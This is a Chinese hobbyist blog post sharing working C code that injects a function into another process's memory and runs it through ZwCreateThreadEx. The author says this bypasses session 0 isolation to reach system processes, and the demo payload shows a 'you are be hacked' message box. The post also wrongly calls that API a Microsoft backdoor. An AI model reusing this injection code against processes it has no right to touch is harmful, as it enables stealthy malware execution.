关于“代码远程线程注入”的核心代码分享
2018-12-20 13:53
78 查看
前言:
“代码远程线程注入”是实现将本进程的一段二进制代码注入到另一个远程进程中,在被注入进程中运行指定代码的技术。“代码远程线程注入”的核心代码非常简炼且逻辑惊艳,不管是对c语言的语法还是对编译器编译顺序的了解都有很大帮助,因为从该代码中就可以大致猜测出编译器的部分编译规则和PE文件数据的放置格式,其中关于c代码的巧妙应用也值得借鉴。
本文章的目的重在分享代码,而不是分享总结,因为作者并没有系统学习过PE文件格式、编译器原理和系统安全等相关知识,自学的一点奇技淫巧纯粹用于平日消遣,有限的知识量并不允许我在文章中分享更为专业和有价值的总结,否则有误人子弟之嫌。如果出现描述错误欢迎指正。
以下分享的程序代码参考自文章https://www.cnblogs.com/freesec/p/6554518.html并在修复了该文章部分代码错误的基础上做了一点改进,主要改进是调用了ntdll文件中微软公司留下的后门函数ZwCreateThreadEx,该函数用于替代CreateRemoteThread,她的优点是更接近底层,可以穿透session0隔离将代码注入到系统进程中。但是由于session0隔离,系统进程和用户进程不会直接通过窗口进行交互,可能无法使用弹出对话框的方式来验证注入系统进程是否成功。
*注:本代码仅供学习交流,如果将本代码用于非法途径,后果自负。(2018.12.20)
头文件以及参数声明:
#include <stdio.h> #include<Windows.h> //声明需要用到的函数 typedef HMODULE(WINAPI *lpLoadLibraryA)(char* filename); typedef FARPROC(WINAPI *lpGetProcAddress)(HMODULE hModule, char* funcName); typedef int(WINAPI *lpMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType); #ifdef _WIN64 typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown); #else typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown); #endif typedef struct _thread_param { lpLoadLibraryA loadFunc; lpGetProcAddress GetPFunc; char data[4][100]; //保存所有参数 }thread_param;
注入函数以及主函数:
//该函数在编译为二进制代码后用于注入远程进程 //由于CreateRemoteThread只能传一个形参,所以该函数也只能使用一个形参 DWORD WINAPI threadProc(LPVOID param) { thread_param* tparam = (thread_param*)param; //loadFunc即为LoadLibrary函数的地址,可以从dll中获取其他函数的地址,依此类推,足以构造功能强大的函数 HMODULE hd = tparam->loadFunc(tparam->data[0]); //data的第一个item是user32.dll //取出MessageBoxA函数 lpMessageBoxA msg = (lpMessageBoxA)tparam->GetPFunc(hd, tparam->data[1]);//data的第2个参数是MessageBoxA msg(0, tparam->data[2], tparam->data[3], 0);//data后2个参数是messagebox的参数 return 0; } void WINAPI end_threadProc() {}//用于标记函数的结束地址 BOOL codeInject(DWORD pid) { SIZE_T written; HANDLE hThread; //打开线程,获取远程线程句柄 HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, 0, pid); if (hProcess == 0 || hProcess == INVALID_HANDLE_VALUE) { return FALSE; } //初始化注入用的参数数据,包括LoadLibrary和GetProcAddress这两个最主要的函数地址 //参数值需要放于另外开辟的空间中 thread_param param = { 0 }; param.loadFunc = (lpLoadLibraryA)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA"); param.GetPFunc = (lpGetProcAddress)GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetProcAddress"); memcpy(¶m.data[0], "user32.dll", 11); memcpy(¶m.data[1], "MessageBoxA", 12); memcpy(¶m.data[2], "you are be hacked", 18); memcpy(¶m.data[3], "inject", 7); //计算线程函数的二进制代码大小,这两个函数必须在相邻的位置定义,且前后顺序不能对调! DWORD codesize = (DWORD)end_threadProc - (DWORD)threadProc; //分配空间,将参数数据注入进程 LPVOID database = ::VirtualAllocEx(hProcess, 0, sizeof(thread_param), MEM_COMMIT, PAGE_READWRITE); if (database == 0) { CloseHandle(hProcess); return FALSE; } ::WriteProcessMemory(hProcess, database, ¶m, sizeof(thread_param), &written); //分配空间,将执行代码注入进程 LPVOID codebase = ::VirtualAllocEx(hProcess, 0, codesize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (codebase == 0) { ::VirtualFreeEx(hProcess, database, sizeof(thread_param), MEM_FREE); CloseHandle(hProcess); return FALSE; } ::WriteProcessMemory(hProcess, codebase, threadProc, codesize, &written); // 加载 ntdll.dll HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll"); if (NULL == hNtdllDll) { return FALSE; } // 导出ZwCreateThread函数地址 typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx"); if (NULL == ZwCreateThreadEx) { ::FreeLibrary(hNtdllDll); return FALSE; } // 激活代码,使用 ZwCreateThreadEx 创建远线程, 穿透session0隔离 ZwCreateThreadEx(&hThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)codebase, database, 0, 0, 0, 0, NULL); //释放空间 ::VirtualFreeEx(hProcess, database, sizeof(thread_param), MEM_FREE); ::VirtualFreeEx(hProcess, codebase, codesize, MEM_FREE); CloseHandle(hProcess); if (NULL != hThread) { CloseHandle(hThread); return TRUE; } return FALSE; } int main() { //编译时需要注意被注入的进程是64位还是32位,否则被注入进程可能会出现崩溃 codeInject(13064); //system("pause>NUL"); return 0; }
相关文章推荐
- 关于分享网站到各大网站的代码
- 关于微信二次分享,标题变链接的解决方法(二)----代码部分
- 关于《机器学习实战》中创建决策树的核心代码分析
- python实现的生成随机迷宫算法核心代码分享(含游戏完整代码)
- 关于Jfinal的分享代码托管GitHub
- 关于写代码的分享
- canvas雪花效果核心代码分享
- 面向对象Javascript核心支持代码分享
- 关于Java核心技术书中的代码点和代码单元是怎么理解的呢?
- 【代码分享】关于List<V>按V的某个属性分组的通用代码实现
- 关于代码实时分享编辑功能。。。
- 分享一段代码,关于List
- 日语五十音图前几个页面关于导航器的简单代码分享
- Android版多线程下载器核心代码分享
- 关于C#静态方法与动态代码的核心代码学习
- 分享价值五百万的人工智能核心代码
- 龚建伟书中关于拆分窗口的代码分享
- Android版多线程下载器核心代码分享
- 关于自学activiti流程引擎的一点点感悟和代码分享
- 手机当前屏幕内容分享核心代码